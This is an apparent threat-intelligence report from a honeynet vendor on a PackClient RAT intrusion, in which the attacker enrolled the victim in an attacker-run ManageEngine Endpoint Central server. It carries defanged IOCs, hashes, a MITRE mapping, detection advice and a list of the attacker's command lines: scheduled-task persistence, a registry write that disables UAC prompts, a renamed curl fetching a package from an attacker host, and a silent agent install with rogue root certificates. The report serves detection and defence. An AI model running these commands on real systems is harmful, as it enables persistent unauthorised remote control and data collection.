[Op Report] PackClient: Hands-on-Keyboard with a new C2 Framework
Companion research: Proofpoint has published a full technical analysis of the PackClient framework, “Carry-On Compromise: TA4922 Packs PackClient” This post is the operational companion to that research. It walks through what a PackClient operator actually did, hands-on-keyboard, inside a live Deception.Pro honeynet during one of the campaigns Proofpoint documents.
Executive Summary
Over a 48-hour Deception.Pro operation initiated by Proofpoint researchers, PackClient — a new C2 framework that Proofpoint attributes to a Chinese speaking actor — was detonated on a live Windows workstation joined to an Active Directory domain, posing as an ICS security analyst's machine at a critical infrastructure consultancy. The sample, Tax_Notice_10029.exe, was delivered inside an Income Tax Return themed disk image (volume label ITR_DOCUMENT) — consistent with the India-focused, tax-lure IMG campaigns Proofpoint attributes to Chinese-speaking actor TA4922.
On execution the RAT registered a logon-triggered scheduled task, hollowed a 32-bit svchost.exe, and began a two-minute beacon to 192[.]252[.]180[.]45:6666 that survived a reboot and was still running when the operation ended. Roughly four and a half hours later the operator returned with a VBScript task chain that suppressed UAC prompts, used a renamed Microsoft-signed curl.exe to fetch a package from opkjhblll[.]cc, and silently installed a genuine, Zoho-signed ManageEngine Endpoint Central (UEMS) agent pre-configured with attacker-supplied root certificates and pointed at an attacker-operated server (hostname WIN-N3U83AJBEEH, 192[.]229[.]87[.]219:8383/8027).
From that point the intrusion looked like routine endpoint management: full hardware/software/user inventory, SAMR-based Active Directory user and group enumeration, patch and misconfiguration scanning, remote-control sessions via the UEMS Remote Control service, and — after the reboot — server-pushed installation of a kernel file-filter driver, a BitLocker management module, and ManageEngine’s own “EDR”/anti-ransomware component. Every binary in that second stage is legitimately signed by Zoho Corporation.
This is one of the clearest captures to date of a commodity RAT used purely as a foothold to hand a victim over to a commercial endpoint-management platform the attacker controls. The full capture — EDR process tree, Suricata EVE JSON, and full-packet PCAP — is available on the Deception.Pro platform.
How This Fits the PackClient Campaign
Per Proofpoint’s research, PackClient is a full-featured, modular C2 framework advertised on Chinese-language Telegram channels and used by at least one Chinese-speaking threat actor, TA4922. It supports 60+ C2 commands, two simultaneous C2 connections, a keylogger and clipper, a plugin system, and a distinctive guard/watchdog process that restarts the core if it is killed. TA4922 has delivered it through tax-enforcement lures impersonating Chinese and, more recently, Indian tax authorities.
Proofpoint places our operation squarely inside that campaign. They document a July 20–22, 2026 wave impersonating the Indian Income Tax Department that delivered a ZIP → IMG disk image → DLL side-load → Donut Loader chain ending in PackClient, with C2 to 192[.]252[.]180[.]45 over TCP/6666 and ManageEngine RMM deployed several hours after initial infection — and note that this activity was observed using the Deception.Pro malware observability environment. This write-up is that observation from the inside: the disk-image lure, the 6666 beacon, and the hours-later ManageEngine hand-off all line up with the chain Proofpoint reconstructed from the delivery side. Where their analysis details the loader stages (Donut Loader, PackClientLauncher, PackClientCore) that execute in memory, our telemetry picks up at on-host behavior — the persistence, the operator’s hands-on tasking, and the full post-exploitation sequence.
Environment at a Glance
Replica Role: ICS Security Analyst
Replica Organization: A Critical-Infrastructure Security Company
Industry: Physical Security
Topology: Microsoft Active Directory environment with 1,500+ endpoints and 500+ users.
Replica Location: Germany
Observed duration: ~72 hours (Aug 4, 2026 through Aug 7, 2026)
Sensor Stack: LimaCharlie EDR, Zeek, Suricata with ETPRO
Infection Vector: Tax themed MalSpam
Primary Threat Families: PackClient, Donut Loader, Manage Engine Endpoint Central (UEMS)
Note: Replica personas, organizations, and documents are AI-generated and randomized for believability. Any resemblance to real-world entities is purely coincidental.
Figure 1: Screenshot of the Manage Engine Endpoint Central (UEMS) control panel login.
Timeline of Operation Activity
All timestamps UTC. Source: LimaCharlie EDR timeline, Suricata EVE JSON, and PCAP.
14:48:49 Jul 20 — Operation start. Replica workstation online and instrumented.14:54:29 Jul 20 — Disk image mounted. Volume ITR_DOCUMENT mounted as D:\ (EDR VOLUME_MOUNT); an Income-Tax-Return themed lure image.14:54:33 Jul 20 — Initial execution. D:\Tax_Notice_10029.exe launched from Explorer under the analyst persona account.14:54:36 Jul 20 — Persistence. schtasks /Create /TN NvSvc … /SC ONLOGON /RL HIGHEST pointing at C:\ProgramData\NVIDIA Corporation\NvSvc\Tax_Notice_10029.exe.14:54:36 Jul 20 — Process hollowing + C2. The dropper spawns an argument-less C:\Windows\SysWOW64\svchost.exe (PID 804) that immediately connects to 192[.]252[.]180[.]45:6666 (Suricata: ET DROP Spamhaus DROP Listed Traffic Inbound). A failed lookup for xzz[.]cam is seen from the same process.14:55 Jul 20 → 14:55 Jul 22 — Beaconing. Hollowed svchost beacons to 192[.]252[.]180[.]45:6666 on a ~2-minute cycle (1,725 flows over 48 h); resumes within 13 seconds of the Jul-21 reboot.19:25:45 Jul 20 — Operator check-in (~4.5 h later). The hollowed svchost drops and runs C:\kaop.vbs via wscript.exe — the first hands-on task.19:25:48 Jul 20 — Sleep. PING.EXE -n 2 127.0.0.1 > nul used as a delay.19:25:50 Jul 20 — Stager DNS. Query opkjhblll[.]cc → 45[.]221[.]115[.]218 (ET DNS Query for .cc TLD).19:25:56–19:26:00 — UAC tamper. Ten back-to-back reg add …\Policies\System /v ConsentPromptBehaviorAdmin /d 0 executions.19:26:48 Jul 20 — Second-stage download. cmd /c sys31.dll -k -s -L -o pkg4049.zip hxxps://opkjhblll[.]cc/spx/kioop.zip. sys31.dll is a renamed, Microsoft-signed curl.exe 8.13.0 (EDR: Renamed Downloader; Suricata: Curl User Agent).19:27:28 Jul 20 — Agent install. setup1.vbs re-launches /elevated and runs msiexec /i UEMSAgent.msi TRANSFORMS=UEMSAgent.mst ENABLESILENT=yes … SERVER_ROOT_CRT=DMRootCA-Server.crt DS_ROOT_CRT=DMRootCA.crt /qn — a silent Endpoint Central agent install with attacker root CAs.19:27:34 Jul 20 — Agent registration. dcagentregister.exe -i dc; first TLS session to 192[.]229[.]87[.]219:8383 (self-signed “CN=ManageEngine, O=Zoho Corporation” cert).19:28:13 Jul 20 — Host recon. cmd /C systeminfo.exe > …\UEMS_Agent\logs\systeminfo.log.19:28:27 Jul 20 — Service start. “ManageEngine UEMS - Agent” (dcagentservice.exe) and “ManageEngine UEMS - Remote Control” (dcrdservice.exe) registered. Agent begins DNS lookups for win-n3u83ajbeeh — the attacker’s server hostname.19:28:28–19:31 — Inventory. dcusbsummary, dcswmeter, dcinventory, metroapps, meaap -c Refresh push full hardware/software/user inventory to the attacker server.19:30:29 Jul 20 — AD enumeration. SAMR/LSAD RPC to the DC: SamrEnumerateDomainsInSamServer, SamrLookupNamesInDomain, SamrOpenUser, SamrGetGroupsForUser, LsarEnumerateTrustedDomains.20:51:55 Jul 20 — Second channel. First connection to the notification server on 192[.]229[.]87[.]219:8027.20:52 onward Jul 20 — Module staging. 7za.exe extracts patch/vulnerability DLLs (dcpatchutils.dll, MisconfigEngine.dll, ServerDetectionChecks.dll); dcpatchscan.exe -y 11 runs on a 90-minute cycle.03:54:42 Jul 21 — Remote Control started. dcrdservice.exe runs (again at 04:54, 04:57).09:00:50 Jul 21 — Reboot. Agent service starts; meaap.exe -c StartUp pulls three components from the attacker server: DeviceControl (installs DCFAFilter.inf kernel filter driver), BitLockerMgmt, and edrComponent.09:02:07 Jul 21 — “EDR” deployed. EDRDCManager.exe -installorupdate → MEARWSetup.exe -install mearwconf.json; wevtutil im EDR.man registers an event provider; MEARWService.exe, MEEDRInferenceEngine.exe, MEEDRMCEngine.exe start. VssHelper.exe -BackUp creates shadow copies every 3 hours.09:03:43 Jul 21 — User tracking. dcusb64.exe -s 6 "<user>" 0 — persona logon reported to the server.13:04:54 Jul 22 — Remote Control. dcrdservice.exe runs again.14:48:51 Jul 22 — Operation end and teardown; both channels (6666 and 8383/8027) still active at capture end.
Total observed duration: ~ 48 hours
Assessment
1. Delivery and the PackClient foothold
The lure is a tax-notice executable inside a mounted disk image — a well-worn pattern that bypasses Mark-of-the-Web and matches TA4922’s IMG delivery. On launch the RAT does three things in under three seconds: creates the NvSvc scheduled task (ONLOGON, highest privileges, masquerading as an NVIDIA service under C:\ProgramData\NVIDIA Corporation\NvSvc\), spawns a hollowed 32-bit svchost.exe with no command line, and opens its C2 channel. The hollowed svchost is the RAT’s long-lived body: it parented every subsequent operator task, and its beacon to 192[.]252[.]180[.]45:6666 continued at a steady ~2-minute interval for the full 48 hours, including across the reboot. The C2 IP sits in a Spamhaus DROP-listed range. A single failed lookup for xzz[.]cam from the same process suggests a secondary or fallback C2 domain that was not active during the operation.
The custom C2 protocol on TCP/6666 is not TLS; Suricata’s only hits on it were a generic “suspicious traffic on unusual port” heuristic plus the Spamhaus reputation rule. Without the EDR parent-child relationship, this traffic would be easy to dismiss.
2. The operator’s playbook: UAC suppression, signed curl, silent MSI
The gap between detonation (14:54) and the first operator task (19:25) indicates a human triaging new victims rather than an automated chain. The kaop.vbs task is noisy and unsophisticated — ten identical reg add calls to zero out ConsentPromptBehaviorAdmin, a ping-based sleep — but effective. The downloader is notable: sys31.dll is a byte-for-byte copy of Microsoft’s curl.exe 8.13.0 (still signed by “Microsoft 3rd Party Application Component”), renamed to a .dll extension and dropped under C:\Users\Public\Documents\work\. The -k flag disables certificate validation for the fetch from opkjhblll[.]cc.
setup1.vbs then re-launches itself with a /elevated argument (the UAC change makes this silent) and runs msiexec against UEMSAgent.msi with a transform file and two custom root CA certificates. This is the documented way to deploy a ManageEngine Endpoint Central agent to a remote office — the attacker simply authored the MST and the DMRootCA certificates for their own server.
3. Living off commercial endpoint management
What follows is, from a binary-signature standpoint, entirely legitimate. Every component under C:\Program Files (x86)\ManageEngine\UEMS_Agent\ is signed by ZOHO Corporation Private Limited. The agent config recovered from disk (DCAgentServerInfo.json) identifies the attacker server as WIN-N3U83AJBEEH at 192[.]229[.]87[.]219, ports 8383 (agent/server HTTPS) and 8027 (notification server), customer name DC_CUSTOMER, MSP name DC_MSP — i.e., an un-customised default Endpoint Central MSP install. The agent also repeatedly resolves win-n3u83ajbeeh by name, leaking the attacker’s server hostname into victim DNS logs.
Using the platform, the attacker obtained without writing any malware:
Full host inventory (dcinventory, dcswmeter, dcusbsummary, metroapps) and systeminfo output
Active Directory user and group enumeration via SAMR/LSAD against the domain controller
Patch and misconfiguration scanning (dcpatchscan, MisconfigEngine.dll, ServerDetectionChecks.dll) — effectively an attacker-run vulnerability assessment of the victim
Interactive remote control through the “ManageEngine UEMS - Remote Control” service (dcrdservice.exe), with RAT C2 activity spiking during those windows
After reboot, server-pushed installation of DeviceControl (DCFAFilter kernel driver), BitLocker management (the ability to manage — or weaponise — disk encryption), and ManageEngine’s anti-ransomware “EDR” module, which registers an event-log provider and takes periodic VSS snapshots
4. Infrastructure
Two distinct attacker hosts were used. The RAT C2 at 192[.]252[.]180[.]45 is a Windows host with SMB, RDP on a non-standard port (25078, certificate CN=C202607041180142), a TLS service on 443 presenting a forged “update.microsoft.com / Microsoft Corporation” certificate, and TCP/6666 open. It remained reachable a month after the operation. The Endpoint Central server at 192[.]229[.]87[.]219 (WIN-N3U83AJBEEH) is an attacker-deployed default MSP install. The stager host opkjhblll[.]cc resolves to 45[.]221[.]115[.]218.
5. Why this capture matters
Although PackClient is a modular, full-featured RAT, its use in this intrusion was modest. The significance is the workflow it fronts: a commodity RAT used for nothing more than hours-later enrolment of the victim into a fully featured, vendor-signed endpoint-management platform the attacker owns. Once that agent is in place the attacker has inventory, vulnerability data, AD enumeration, remote desktop, software deployment, disk-encryption control and kernel-level file filtering — with no further malware, no LOLBin tricks, and every binary passing signature checks. Organisations that already run Endpoint Central are at particular risk of this blending in.
Defender Takeaways
Alert on msiexec installs of management agents from user-writable paths. UEMSAgent.msi executed from C:\Users\Public\Documents\work\ with TRANSFORMS= and SERVER_ROOT_CRT= / DS_ROOT_CRT= arguments is the key pivot. Legitimate deployments come from SCCM/GPO/Intune paths, not Public\Documents.
Inventory your RMM/UEM agents and validate the server they point to. Parse HKLM\SOFTWARE\WOW6432Node\AdventNet\DesktopCentral\DCAgent and DCAgentServerInfo.json; any SERVERIPADDRESS that is not your Endpoint Central server is a compromise. Block outbound 8383/8027 except to known servers.
Hunt for renamed curl. Signed Microsoft curl.exe running with a .dll extension (OriginalFileName curl.exe, on-disk name sys31.dll) is high-fidelity. Flag any process whose PE OriginalFileName is curl.exe but whose on-disk name is not, and any curl invocation using -k from a script host.
Argument-less SysWOW64\svchost.exe with a non-services.exe parent is hollowing. Here the parent was a file on a mounted D: image. Pair with a new outbound connection to a high port from that svchost.
Scheduled tasks masquerading as vendor services. Task NvSvc pointing at C:\ProgramData\NVIDIA Corporation\NvSvc\*.exe with /RL HIGHEST /SC ONLOGON.
Burst reg add of ConsentPromptBehaviorAdmin=0 from wscript.exe. Ten identical writes in four seconds from a script host is trivially detectable and precedes the elevated MSI.
Watch for DNS lookups of hostnames that are not yours. The agent repeatedly resolved win-n3u83ajbeeh; an unresolvable single-label hostname queried by a management agent is the attacker’s server name.
Block ISO/IMG/VHD auto-mount from mail attachments and alert on executables launched from a freshly mounted volume label such as ITR_DOCUMENT.
Treat attacker-installed “security” components as hostile. The DeviceControl kernel driver (DCFAFilter), BitLocker management module and anti-ransomware agent were all pushed by the attacker’s server. Removal requires uninstalling the full UEMS agent, not just killing the RAT.
About Deception Pro
Deception.Pro runs persistent, fully instrumented Windows Active Directory honeynets that look and behave like real corporate networks — complete with personas, documents, VPN and RDP lures, and live domain controllers. Every operation produces ground-truth adversary telemetry: LimaCharlie EDR process trees, Suricata EVE JSON with ET Pro coverage, TLS-inspected full-packet PCAPs and recovered artifacts. We pair long-term malware detonations with proactive threat actor deception so you see what operators actually do after the first beacon — hours and days in, not seconds. The data is available for threat research, detection engineering, AI SOC training and dataset licensing. Request a proof of value or explore this operation at deception[.]pro.
Indicators of Compromise
Domains & IP Addresses
192[.]252[.]180[.]45:6666 — PackClient C2 (custom TCP, ~2-min beacon). Spamhaus DROP listed. Windows host; RDP on 25078, forged update.microsoft.com cert on 443.xzz[.]cam — PackClient secondary/fallback C2 domain (failed AAAA lookup; not active during operation).opkjhblll[.]cc — Second-stage package host.45[.]221[.]115[.]218:443 — Resolved IP for opkjhblll[.]cc.hxxps://opkjhblll[.]cc/spx/kioop.zip — ManageEngine agent package (saved as pkg4049.zip).192[.]229[.]87[.]219:8383 — Attacker-operated ManageEngine Endpoint Central server (agent HTTPS).192[.]229[.]87[.]219:8027 — Endpoint Central notification server port.WIN-N3U83AJBEEH — Attacker Endpoint Central server hostname (leaked via agent DNS queries and agent config).Suricata Alert Signatures
2400041 — ET DROP Spamhaus DROP Listed Traffic Inbound group 42 (192[.]252[.]180[.]45:6666)
3300304 — Suspicious FTP traffic on unusual FTP port (heuristic on 6666 C2)
2027758 — ET DNS Query for .cc TLD (opkjhblll[.]cc)
3301057 — TLS connection to (sni) .cc extension observed
3300199 — Curl User Agent (Windows TLS1.2) — sys31.dll download
3300711 — Suspicious JA3 + SSL/TLS traffic on unusual SSL/TLS port - Likely C2
3300298 — Suspicious SSL/TLS traffic on unusual SSL/TLS port (8383)
3300208 — Possible BITSAdmin / Windows Installer TLSv1.2 connection to IP address - T1105
3115264 — Stamus MS-LSAD - LsarEnumerateTrustedDomains
3115596 / 3115607 / 3115624 / 3115629 — Stamus MS-SAMR - SamrEnumerateDomainsInSamServer / SamrLookupNamesInDomain / SamrOpenUser / SamrGetGroupsForUser
JA3 / JA3S / TLS Certificates
JA3 8916410db85077a5460817142dcbc8de — ManageEngine UEMS agent (Java/OpenSSL) → 192[.]229[.]87[.]219:8383, TLS 1.2.
JA3S ec74a5c51106f0419184d0dd08fb05bc — Endpoint Central server response (TLS 1.2).
JA3 2dfde1e52804da3783cbd7ef34bcba3f — UEMS agent → 8383, TLS 1.3 (400 sessions).
JA3S 15af977ce25de452b96affa2addb1036 — Endpoint Central server response (TLS 1.3).
JA3 e62a5f4d538cbf169c2af71bec2399b4 / JA3S 895252f3ce80cebf7a8837be83ec8e16 — Secondary agent component → 8383.
CN=ManageEngine, O=Zoho Corporation (C=US, ST=CA, OU=ManageEngine) — Self-signed default cert on attacker server 192[.]229[.]87[.]219:8383.
CN=update.microsoft.com, O=Microsoft Corporation — Forged cert on 192[.]252[.]180[.]45:443 (valid 2026-05-18 → 2036-05-15).
CN=C202607041180142 — RDP cert on 192[.]252[.]180[.]45:25078.
File Hashes (SHA-256)
Tax_Notice_10029.exe — 93dd8b7b393289f88493596faa4ae70054d9eb4fe47f2dd334f0c6bb5262f2a8 — PackClient dropper (as observed on D:\ by EDR).Submitted payload (.bin) — f77f0be3ebec2210cf71e72aed9d534475cc34013b7f155f16e60b2dd8bf64fc — PackClient sample as submitted to the operation.sys31.dll — 00cf4d4700642ee5d0b3496a2f9720714249a2ddc49b59a55a03f2047eb6f40c — renamed Microsoft-signed curl.exe 8.13.0.dcagentregister.exe — 430aad28ddd50d0026f7e547764b2f4cd7c54204519e119614895068397904dc — ManageEngine UEMS agent (Zoho-signed).dcagentservice.exe — 23fa8f503da68dd5724b136f9f401ab747db352e5edd8e2c277bf7426f774773 — UEMS - Agent service (Zoho-signed).dcrdservice.exe — 1c0d5cd681debbeb1109cf96e667b405349ca36eca8ab189d2fac7cef9babd4c — UEMS - Remote Control service (Zoho-signed).meaap.exe — 837e87d97ec8ad6a6912ad30a45ca6cc449fb312c65e9cea27ef0cd6f7f3be37 — agent add-on/module deployer (Zoho-signed).7za.exe — f00836a63be7ebf14e1b8c40100c59777fe3432506b330927ea1f1b7fd47ee44 — bundled 7-Zip 23.1 (unsigned).
Note: the ManageEngine binaries are legitimate vendor files; hash-match them only in combination with the server IOCs above.
On-Disk Artifacts & Paths
D:\Tax_Notice_10029.exe (volume ITR_DOCUMENT) — Initial dropper on mounted disk image.C:\ProgramData\NVIDIA Corporation\NvSvc\Tax_Notice_10029.exe — Persistence copy referenced by task NvSvc.Scheduled task: NvSvc — ONLOGON, RL HIGHEST.C:\kaop.vbs — Operator task script (UAC tamper, download, install).C:\Users\Public\Documents\work\sys31.dll — Renamed curl.exe.C:\Users\Public\Documents\work\pkg4049.zip — Downloaded kioop.zip.C:\Users\Public\Documents\work\setup1.vbs — Elevated installer script....\Documents\work\UEMSAgent.msi / UEMSAgent.mst — ManageEngine agent installer + attacker transform....\Documents\work\DMRootCA-Server.crt / DMRootCA.crt — Attacker root CA certificates.C:\Program Files (x86)\ManageEngine\UEMS_Agent\ — Agent install root; DCAgentServerInfo.json holds server IP/hostname....\UEMS_Agent\logs\systeminfo.log — systeminfo output....\UEMS_Agent\DeviceControl\bin\driver\x64\Win10\DCFAFilter.inf — Kernel file-filter driver pushed post-reboot....\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe — Attacker-pushed “EDR” component.HKLM\...\Policies\System\ConsentPromptBehaviorAdmin = 0 — UAC prompt suppression.Services: “ManageEngine UEMS - Agent”, “ManageEngine UEMS - Remote Control” — Attacker-installed services.
Command-Line Artifacts for Hunting
schtasks /Create /TN NvSvc /TR "\"C:\ProgramData\NVIDIA Corporation\NvSvc\Tax_Notice_10029.exe\"" /SC ONLOGON /RL HIGHEST /F
"C:\Windows\System32\WScript.exe" "C:\kaop.vbs"
"C:\Windows\System32\PING.EXE" -n 2 127.0.0.1 > nul
cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
cmd.exe /c C:\Users\Public\Documents\work\sys31.dll -k -s -L -o "...\pkg4049.zip" hxxps://opkjhblll[.]cc/spx/kioop.zip
wscript.exe "C:\Users\Public\Documents\work\setup1.vbs" /elevated
msiexec.exe /i "...\UEMSAgent.msi" TRANSFORMS="...\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="...\DMRootCA-Server.crt" DS_ROOT_CRT="...\DMRootCA.crt" /qn
"...\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
cmd.exe /C systeminfo.exe > "...\ManageEngine\UEMS_Agent\logs\systeminfo.log"
meaaphelper.exe -n <guid> -f "...\temp\DeviceControl.zip" -c dcm-win ... | BitLockerMgmt.zip -c blm ... | edrComponent.zip -c edr_win_neutral ...
driversetup64.exe -install "...\DeviceControl\bin\driver\x64\Win10\DCFAFilter.inf"
wevtutil.exe im EDR.man /rf:"...\EDR\...\MEEDREventLogResource.dll" /mf:"..."
VssHelper.exe -BackUp
MITRE ATT&CK Mapping
T1566.001 — Phishing: Spearphishing Attachment — tax-notice lure (malspam).T1204.002 — User Execution: Malicious File — Tax_Notice_10029.exe from mounted ITR_DOCUMENT image.T1053.005 — Scheduled Task/Job: Scheduled Task — NvSvc ONLOGON task.T1036.005 — Masquerading: Match Legitimate Name or Location — NVIDIA\NvSvc path; svchost.exe hollowing.T1055.012 — Process Injection: Process Hollowing — argument-less SysWOW64\svchost.exe child.T1059.005 — Command and Scripting Interpreter: Visual Basic — kaop.vbs, setup1.vbs.T1548.002 — Abuse Elevation Control Mechanism: Bypass UAC — ConsentPromptBehaviorAdmin = 0.T1112 — Modify Registry — reg add Policies\System.T1105 — Ingress Tool Transfer — renamed curl → kioop.zip.T1036.003 — Rename System Utilities — curl.exe as sys31.dll.T1497.003 — Virtualization/Sandbox Evasion: Time Based — ping -n 2 sleep.T1218.007 — System Binary Proxy Execution: Msiexec — silent UEMSAgent.msi install.T1219 — Remote Access Software — ManageEngine Endpoint Central agent + Remote Control service.T1553.004 — Subvert Trust Controls: Install Root Certificate — DMRootCA / DMRootCA-Server certs.T1082 — System Information Discovery — systeminfo, dcinventory.T1087.002 — Account Discovery: Domain Account — SAMR/LSAD enumeration against DC.T1069.002 — Permission Groups Discovery: Domain Groups — SamrGetGroupsForUser.T1518 — Software Discovery — dcswmeter, dcpatchscan vulnerability scanning.T1571 — Non-Standard Port — TCP/6666 C2; 8383/8027 agent channel.T1071.001 — Application Layer Protocol: Web Protocols — HTTPS agent traffic.T1573 — Encrypted Channel — TLS to attacker server with attacker root CA.T1008 — Fallback Channels — xzz[.]cam lookup.T1547.006 — Boot or Logon Autostart: Kernel Modules and Extensions — DCFAFilter kernel driver install.